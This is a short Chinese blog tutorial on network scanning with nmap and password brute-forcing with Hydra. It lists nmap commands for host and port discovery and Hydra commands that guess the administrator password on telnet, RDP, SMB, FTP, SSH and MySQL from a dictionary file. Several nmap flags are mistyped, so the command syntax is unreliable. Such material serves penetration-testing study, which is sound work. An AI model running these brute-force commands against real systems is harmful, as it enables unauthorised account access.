简单的扫描与爆破

最新推荐文章于 2024-10-19 20:05:53 发布

Little Busters！

最新推荐文章于 2024-10-19 20:05:53 发布

阅读量465

点赞数

文章标签： nmap 安全 linux

本文链接：https://blog.csdn.net/Little_Busters/article/details/106657976

版权

扫描技术

一个一个ping ?
手工与工具相结合。
主机探测与端口扫描。
主机测探是指确定目标主机是否存活。
端口扫描就是寻找在线主机所开放的端口,并且在端口上所运行的服务。甚至可以进一-步确
定目标主机操作系统类型和更详细的信息。
基础知识
@常见端口号

Nmap-扫描器之王.
重要常用参数

在这里插入图片描述

Nmap    -sP   10.1.1.1/24       //扫描 10.1.1.0整个网段主机是否在线
Nmap  -P    21, 23-25, 3389 10.1.1.1 //扫描 10.1.1.1  21, 23-25, 3389端口是否开放
Nmap  -P     21,23 10.1.1.1 -sV    //扫描21,23的服务版本
Nmap  -A   10.1.1.1    //全面扫描
Nmap   -O  10.1.1.1   //扫描目标系统版本
Namp  -P   21, 23   10.1.1.1   -0N   e: \ result. txt //扫描 10.1.1.1  21, 23-25, 3389端口是否开放并保存到e: \ result. txt 下

爆破

注：字典很重要

软件：Hydra（九头蛇）

Hydra -l administrator -p 123 10.1.1.1 telnet     //爆破 具体账号密码测试
Hydra -l administrator -P e: \pass. txt   10.1.1.1 telnet //爆破目标telnet服务，端口23  密码字典e: \pass. txt 
Hydra -l administrator -P e: \pass. txt   10.1.1.1 rdp //爆破目标rdp服务，端口3389
Hydra -l administrator -P e:\pass.txt  10.1.1.1  smb  //爆破目标共享服务，端口445
Hydra -l administrator -P e:\pass.txt  10.1.1.1  ftp  //爆破目标ftp服务，端口21
Hydra -l administrator -P e:\pass.txt  10.1.1.1  ssh //爆破目标ssh服务，端口 22
Hydra -l administrator -P e:\pass.txt  10.1.1.1  mysql //爆破目标mysql服务，端口 3306